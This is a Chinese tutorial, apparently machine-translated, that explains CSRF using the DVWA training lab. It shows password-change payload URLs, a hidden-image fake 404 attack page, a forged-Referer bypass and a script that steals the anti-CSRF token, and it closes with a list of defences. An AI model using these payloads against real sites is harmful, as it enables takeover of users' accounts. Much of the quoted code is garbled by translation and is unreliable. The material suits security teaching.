stripos

stripos

CSRF攻击,即跨站请求伪造,是对网站的恶意利用。这听起来有点类似于XSS跨站脚本攻击,但实际上彼此有很大的不同。XSS在网站中使用可信用户,而CSRF通过伪装可信用户的请求来使用可信网站。

你可以这样理解CSRF攻击:攻击者窃取了你的身份,并以你的名义向第三方网站发送恶意请求。CRSF可以做的事情包括使用你的身份发送电子邮件,发送短信,转移交易,甚至窃取你的账户。

那么,今天我春秋给朋友们介绍一下CSRF突破原理的相关内容,希望对你学习Web安全有所帮助。文章大概15分钟读完,一定要看完。文末内容更精彩

CSRF攻击原则

当我们打开或登录网站时,浏览器和存储在网站中的服务器之间会创建一个会话。在会话结束之前,用户可以使用自己的网站权限来操作网站,例如发布文章和发送电子邮件。会话结束后,网站将知道会话已过期或重新登录。

登录网站后,浏览器将与受信任的网站建立一个经过身份验证的会话。通过该认证会话发送的所有请求都被认为是可信的行为,例如转账和汇款。如果重叠时间过长或自动结束,则必须重新建立经过身份验证的可信安全会话。

CSRF攻击基于会话。比如你登录网上银行,拆分转账业务,这是攻击者发给你的一个网址。这个网址是攻击者精心制作的转账业务代码的有效替代品,而且和你是同一家银行。当你认为这是一个安全的链接,点进去,你的钱就没了!

比如你要给用户xxser转账1000元,正常的网址是:

secbug.org/pay.jsp?用户= xxser & ampMoney=1000,攻击者构建的URL是:

secbug.org/pay.jsp?用户=黑客和。money = 10000
CSRF的突破性利用

CSRF攻击经常被用来制造蠕虫攻击,SEO流量等等。

分析防御代码

获取GET参数的用户名和密码,然后通过selection语句查询是否有对应的用户。如果有,通过$ _SESSION: isadmin = admin设置一个会话,否则设置session: isadmin = guest

判断会话中isadmin是否isadmin,如果isadmin!= admin表示用户未登录,切换到登录页面,管理员登录后才能进行用户的操作。

获取POST参数的用户名和密码,插入到用户表中,完成添加用户的操作。

& lt?PHP session _ start();if(isset($ _ GET[& # 39;登录& # 39;])){ $ con = mysqli _ connect(& # 34;127.0.0.1","根& # 34;,"123456","测试& # 34;);if(MySQL _ connect _ errno()){ echo & # 34;连接失败& # 34;。MySQL _ connect _ errno();} $ username = add slashes($ _ GET[& # 39;用户名& # 39;]);$ password = $ _ GET[& # 39;密码& # 39;];$result = mysqli_query($con,& # 34;select * from users where username = & # 39;"。$用户名。"'而密码= & # 39;". MD5($密码)。"'");$ row = mysqli _ fetch _ array($ result);if($ row){ $ _ SESSION[& # 39;isadmin & # 39] = '管理& # 39;;退出(& # 34;登录成功& # 34;);} else { $ _ SESSION[& # 39;isadmin & # 39] = '客人& # 39;;退出(& # 34;登录失败& # 34;);} } else { $ _ SESSION[& # 39;isadmin & # 39] = '客人& # 39;;} if($ _ SESSION[& # 39;isadmin & # 39] != '管理& # 39;){退出(& # 34;请登录…&# 34;);} if(isset($ _ POST[& # 39;提交& # 39;]){ if(isset($ _ POST[& # 39;用户名& # 39;])) { $result1 = mysqli_query($con,& # 34;插入到用户(用户名、密码)值(& # 39;"。$ _ POST[& # 39;用户名& # 39;]."','". MD5($ _ POST[& # 39;密码& # 39;])."')");退出($ _ POST[& # 39;用户名& # 39;]."添加成功& # 34;);} }?& gt这是后台php源代码。

攻击者需要做的是构造一个请求。请求的URL是php文件的URL,参数是submit = 1 & username = 1 & password = 1 1。请求有效负载将通过使用源代码的特征来自动添加用户:

& lt!DOCTYPE html & gt& lthtml & gt& lthead & gt& ltmeta charset = & # 34utf-8 & # 34;& gt& lttitle & gtCSRF脆弱性实践

没找到好的原文件,就找了DVWA。

low前端源码

& lth3 & gt更改您的管理员密码:& lt/H3 & gt;& ltbr & gt& lt表单操作= & # 34;#"方法= & # 34;获取& # 34;& gt新密码:& ltbr & gt& lt输入自动完成= & # 34;关& # 34;name = & # 34密码_新& # 34;type = & # 34密码& # 34;& gt& ltbr & gt确认新密码:& ltbr & gt& lt输入自动完成= & # 34;关& # 34;name = & # 34密码_会议& # 34;type = & # 34密码& # 34;& gt& ltbr & gt& ltbr & gt& lt输入值= & # 34;改变& # 34;name = & # 34改变& # 34;type = & # 34提交& # 34;& gt& lt/form & gt;前端源代码很简单,就是一个修改密码的CSRF,表单由GET提交。

后端源码

& lt?phpif(isset($ _ GET[& # 39;改变& # 39;])){//Get input $ pass _ new = $ _ Get[& # 39;密码_新& # 39;];$ pass _ conf = $ _ GET[& # 39;password _ conf & # 39];//密码匹配吗?if( $pass_new == $pass_conf ) { //他们有!$ pass _ new =((isset($ GLOBALS[& # 34;_ _ _ mysqli _ ston & # 34])& amp;& ampis _ object($GLOBALS[& # 34;_ _ _ mysqli _ ston & # 34])) ?mysqli _ real _ escape _ string($GLOBALS[& # 34;_ _ _ mysqli _ ston & # 34],$ pass _ new):((trigger _ error(& # 34;[mysqlcovertertoo]修复mysql_escape_string()调用!这个代码不起作用。",E_USER_ERROR))?"": ""));$ pass _ new = MD5($ pass _ new);//更新数据库$ insert = & # 34更新“用户”设置密码= & # 39;$ pass _ new & # 39其中用户= & # 39;"。dvwaCurrentUser()。"';";$ result = mysqli _ query($ GLOBALS[& # 34;_ _ _ mysqli _ ston & # 34]、$insert)或die(& # 39;& ltpre & gt'。((is _ object($GLOBALS[& # 34;_ _ _ mysqli _ ston & # 34])) ?mysqli _ error($GLOBALS[& # 34;_ _ _ mysqli _ ston & # 34]):((($ _ _ _ mysqli _ RES = mysqli _ connect _ error())?$___mysqli_res : false))。'& lt/pre & gt;');//反馈给用户的回音& # 34;& ltpre & gt密码已更改。& lt/pre & gt;";} else { //密码匹配echo & # 34& ltpre & gt密码不匹配。& lt/pre & gt;";}((is _ null($ _ _ _ mysqli _ RES = mysqli _ close($ GLOBALS[& # 34;_ _ _ mysqli _ ston & # 34]))) ?false:$ _ _ _ mysqli _ RES);}?& gt可以看出,预计收到数据后会验证两次密码,然后修改密码。

构造有效Payload

http://127 . 0 . 0 . 1/DVWA-master/vulnerabilities/csrf/?密码新= 123456 & amp密码会议= 123456 & ampChange=Change#我们将有效载荷发送给受害者,受害者处于会话保持状态(登录状态)。一旦网址链接被点击,就意味着受害者进行了同样的操作,这个过程就是CSRF。

作者所在的DVWA使用的登录密码被替换为“123456”。

重点

这里的攻击是使用受害者的Cookie向服务器发送伪造的请求(有效载荷)。如果用户使用与xxser.com保持会话登录的浏览器来重置有效负载URL,受害者的密码将被更改。

现在人们的安全意识普遍增强,我们可以用短链接来优化,比如百度、新浪的短链接,为了减少图片的内容,修改密码的页面会有提示。

高明的做法(从一位前辈copy过来的)

<!DOCTYPE html><html><head><meta charset="utf-8"><title>Payload</title></head><body><img src="http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0" style="display: none"><h1>404</h1><h2>file not found.</h2></body></html>

页面的作用是加载一个伪404的页面,实际上可以访问该页面,就会加载图片,所谓加载图片就是加载src属性,而src属性则为Payload-URL,实际的行为就是加载该html页面的同时图片会加载,也就执行了有效负载。
& lt!DOCTYPE html & gt& lthtml & gt& lthead & gt& ltmeta charset = & # 34utf-8 & # 34;& gt& lttitle & gt有效负载& lt/title & gt;& lt/head & gt;& ltbody & gt& ltimg src = & # 34http://127 . 0 . 0 . 1/DVWA-master/vulnerabilities/csrf/?密码新= 123456 & amp密码会议= 123456 & amp改变=改变# & # 34;border = & # 340"style = & # 34显示:无& # 34;& gt& lth1 & gt404 & lt/h1 & gt;& lth2 & gt找不到文件。& lt/H2 & gt;& lt/body & gt;& lt/html & gt;页面的作用是加载一个伪404页面。事实上,如果你能访问页面,你就会加载图片。所谓镜像加载,就是加载src属性,而src属性是Payload-URL。实际的行为是图片会在加载html页面的同时加载,有效载荷会被执行。

中间

前端源码(添加了http_referer头的验证)

& lt?phpif(isset($ _ GET[& # 39;改变& # 39;]) {//http _ referer:查询当前页面上一页的地址信息// SERVER_NAME:获取域名if(stripes($ _ SERVER[& # 39;HTTP _ REFERER & # 39],$ _ SERVER[& # 39;服务器名称& # 39;]) != = false) {//strips():查找字符第一次出现的位置,$ pass _ new = $ _ GET[& # 39;密码_新& # 39;];$ pass _ conf = $ _ GET[& # 39;password _ conf & # 39];//密码匹配吗?if( $pass_new == $pass_conf ) { //他们有!$ pass _ new =((isset($ GLOBALS[& # 34;_ _ _ mysqli _ ston & # 34])& amp;& ampis _ object($GLOBALS[& # 34;_ _ _ mysqli _ ston & # 34])) ?mysqli _ real _ escape _ string($GLOBALS[& # 34;_ _ _ mysqli _ ston & # 34],$ pass _ new):((trigger _ error(& # 34;[mysqlcovertertoo]修复mysql_escape_string()调用!这个代码不起作用。",E_USER_ERROR))?"": ""));$ pass _ new = MD5($ pass _ new);//更新数据库$ insert = & # 34更新“用户”设置密码= & # 39;$ pass _ new & # 39其中用户= & # 39;"。dvwaCurrentUser()。"';";$ result = mysqli _ query($ GLOBALS[& # 34;_ _ _ mysqli _ ston & # 34]、$insert)或die(& # 39;& ltpre & gt'。((is _ object($GLOBALS[& # 34;_ _ _ mysqli _ ston & # 34])) ?mysqli _ error($GLOBALS[& # 34;_ _ _ mysqli _ ston & # 34]):((($ _ _ _ mysqli _ RES = mysqli _ connect _ error())?$___mysqli_res : false))。'& lt/pre & gt;');//反馈给用户的回音& # 34;& ltpre & gt密码已更改。& lt/pre & gt;";} else { //密码匹配echo & # 34& ltpre & gt密码不匹配。& lt/pre & gt;";} } else { //没& # 39;不要来自可靠的来源。& ltpre & gt那个请求没有& # 39;看起来不对。& lt/pre & gt;";}((is _ null($ _ _ _ mysqli _ RES = mysqli _ close($ GLOBALS[& # 34;_ _ _ mysqli _ ston & # 34]))) ?false:$ _ _ _ mysqli _ RES);}?& gt检查HTTP _ referer(HTTP包的referer参数值)即上一级的URL地址信息是否包含HTTPHTTP包中的主机参数值;Including表示当前页面是来自DVWA的合法页面,即上一级的URL。

合法http数据包:

GET/DVWA-master/vulnerabilities/csrf/?密码新= 1234 & amp密码会议= 1234 & ampChange = Change HTTP/1.1主机:127 . 0 . 0 . 1用户代理:Mozilla/5.0(Windows NT 10.0;WOW64RV:48.0)Gecko/2010 01 01 Firefox/48.0 accept:text/html,application/xhtml+xml,application/XML;q=0.9,*/*;q =接受-语言:zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip,deflated nt:1 referer:http://127 . 0 . 0 . 1/DVWA-master/vulnerabilities/csrf/Cookie:security = medium;phpsessid = nfafklof 4 un Qin B2B 0JV VPL 943 x-forwarded-for:8 . 8 . 8连接:保活升级-插入-请求:1关注第2行,第8行。

分析绕过

但是stripos()函数写的头验证可以绕过,stripos()函数是多重匹配;只要包含目标主机地址,strips()函数写的验证语句就可以绕过

如果我们还是构建一个假的攻击页面,stripos()的头验证会被验证,而页面不是来自DVWA,所以我们深入挖掘stripos()函数的扩展,发现函数会匹配很多次,于是思路就是创建一个假的文件名,通过一个假的文件名绕过stripos()的验证。

Payload

GET/DVWA-master/vulnerabilities/csrf/?密码新=镜像& amppassword_conf=mirror11。Change = Change HTTP/1.1主机:127 . 0 . 0 . 1用户代理:Mozilla/5.0(Windows NT 10.0;WOW64RV:48.0)Gecko/2010 01 01 Firefox/48.0 Accept:*/* Accept-Language:zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip,deflated nt:1 referer:http://127 . 0 . 0 . 1/127 . 0 . 0 . 1 . html cookie:security = medium;phpsessid = nfafklof 4 unqin B2B 0JV VPL 943 x-forwarded-for:8.8.8.8连接:keep-alive
这里注意:我们将Payload命名为“127.0.0.1.html”。

高的

前端源码

& lt?phpif(isset($ _ GET[& # 39;改变& # 39;])){//加入反CSRF令牌机制check token($ _ REQUEST[& # 39;user _ token & # 39],$ _ SESSION[& # 39;会话令牌& # 39;], 'index.php & # 39);//Get input $ pass _ new = $ _ Get[& # 39;密码_新& # 39;];$ pass _ conf = $ _ GET[& # 39;password _ conf & # 39];//密码匹配吗?if( $pass_new == $pass_conf ) { //他们有!$ pass _ new =((isset($ GLOBALS[& # 34;_ _ _ mysqli _ ston & # 34])& amp;& ampis _ object($GLOBALS[& # 34;_ _ _ mysqli _ ston & # 34])) ?mysqli _ real _ escape _ string($GLOBALS[& # 34;_ _ _ mysqli _ ston & # 34],$ pass _ new):((trigger _ error(& # 34;[mysqlcovertertoo]修复mysql_escape_string()调用!这个代码不起作用。",E_USER_ERROR))?"": ""));$ pass _ new = MD5($ pass _ new);//更新数据库$ insert = & # 34更新“用户”设置密码= & # 39;$ pass _ new & # 39其中用户= & # 39;"。dvwaCurrentUser()。"';";$ result = mysqli _ query($ GLOBALS[& # 34;_ _ _ mysqli _ ston & # 34]、$insert)或die(& # 39;& ltpre & gt'。((is _ object($GLOBALS[& # 34;_ _ _ mysqli _ ston & # 34])) ?mysqli _ error($GLOBALS[& # 34;_ _ _ mysqli _ ston & # 34]):((($ _ _ _ mysqli _ RES = mysqli _ connect _ error())?$___mysqli_res : false))。'& lt/pre & gt;');//反馈给用户的回音& # 34;& ltpre & gt密码已更改。& lt/pre & gt;";} else { //密码匹配echo & # 34& ltpre & gt密码不匹配。& lt/pre & gt;";}((is _ null($ _ _ _ mysqli _ RES = mysqli _ close($ GLOBALS[& # 34;_ _ _ mysqli _ ston & # 34]))) ?false:$ _ _ _ mysqli _ RES);}//生成反CSRF tokengenerateSessionToken();?& gt通过添加反CSRF令牌机制,当用户访问加密页面时,服务器返回令牌,只有当用户提交令牌参数时,才能进行加密。

分析绕过

我们在构造有效载荷页面时,需要考虑令牌必须发送到服务器才能进行加密更改,令牌只能在加密更改页面上获取;

按照前人的思路:用受害者的cookie修改秘密页面来获得令牌。

& lt脚本类型= & # 34;文本/JaScript & # 34;& gtfunction attack(){ document . getelementyname(& # 39;user _ token & # 39)[0].value = document . getelementbyid(& # 34;黑客& # 34;)、content window . document . getelementyname(& # 39;user _ token & # 39)[0].价值;document . getelementbyid(& # 34;转让& # 34;).submit();} & lt/script & gt;& ltiframe src = & # 34http://192 . 168 . 153 . 130/dvwa/vulnerabilities/csrf & # 34;id = & # 34黑客& # 34;border = & # 340"style = & # 34显示:无;"& gt& lt/iframe & gt;& ltbodyοon load = & # 34;attack()& # 34;& gt& lt表单方法= & # 34;获取& # 34;id = & # 34转让& # 34;action = & # 34http://169 . 254 . 36 . 73/DVWA-master/vulnerabilities/csrf/& # 34;& gt& lt输入类型= & # 34;隐藏& # 34;name = & # 34密码_新& # 34;value = & # 34密码& # 34;& gt& lt输入类型= & # 34;隐藏& # 34;name = & # 34密码_会议& # 34;value = & # 34密码& # 34;& gt& lt输入类型= & # 34;隐藏& # 34;name = & # 34user _ token & # 34value = & # 34"& gt& lt输入类型= & # 34;隐藏& # 34;name = & # 34改变& # 34;value = & # 34改变& # 34;& gt& lt/form & gt;& lt/body & gt;攻击提示是,当受害者点击进入页面时,脚本会通过一个看不见的框架秘密访问页面修改密码,获取页面中的令牌,向服务器发送修改密码的请求,完成CSRF攻击。

但是理想和现实的差距是巨大的,这就涉及到跨域的问题,而现在的浏览器是分离跨域请求的。这里简单解释一下跨域。我们的框架iframe访问的地址是http://169.254。36.73/DVWA主站/vulnerability/csrf/位于服务器169.254.36.73,我们的攻击页面位于黑客服务器,这里域名不同。域名B下的所有页面都主动获取域名A下的页面内容,除非域名A下的页面主动向域名B下的页面发送信息,否则我们的攻击脚本不可能获取加密接口中的user_token。

因为无法实现跨域,所以可以通过将攻击代码注入目标服务器169.254.36.73来完成攻击。以下使用高级XSS入侵帮助赢得反CSRF令牌(仅获得反CSRF令牌,因为此处XSS注入长度有限,无法注入完整的攻击脚本)

这里的名字有XSS突破,所以我抢到了包,更改了参数,成功删除了令牌链接。

通过CSRF DVWA平台的例子,简单总结了CSRF的特点和对策:

CSRF对策

从DVWA的测试中总结出来:在原代码不可能级别,PDO技术用于防SQL注入,而CSRF要求用户原密码;攻击者在不知道原始密码的情况下无法进行CSRF!

CSRF防御手段

使用POST,限制GET

GET模式最容易受到CSRF攻击,只要简单构造有效剂量,就可能导致CSRF;POST可以大大降低CSRF的显示率

浏览器Cookie策略

旧版浏览器会拦截第三方本地Cookie的发送,新版浏览器不会拦截发送;

添加验证码

简单粗暴有效;可以大大增加人机交互的过程,避免用户被悄悄攻击

推荐人检查

检查请求是否来自合法来源

反CSRF令牌

令牌的值必须是随机的且不可预测的。因为有了令牌,攻击者就不能再用合法的令牌构造请求来执行CSRF攻击。另外,在使用令牌时,要注意其保密性,尽量重写从GET到POST的敏感操作,以表格或AJAX的形式提交,避免令牌替换。

总结

CSRF攻击是攻击者利用用户的身份操作用户账户的一种攻击方式。反CSRF令牌通常用于防御CSRF攻击,同时注意令牌的保密性和随机性。

其实网络安全除了CSRF,还包括SQL注入、XSS等很多知识点,比较复杂,不系统。想要深入学习Web安全攻防的内容,必须从基础做起:https://www.ichunqiu.com/train/course/11?.表单=weixin

免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。

发表回复

登录后才能评论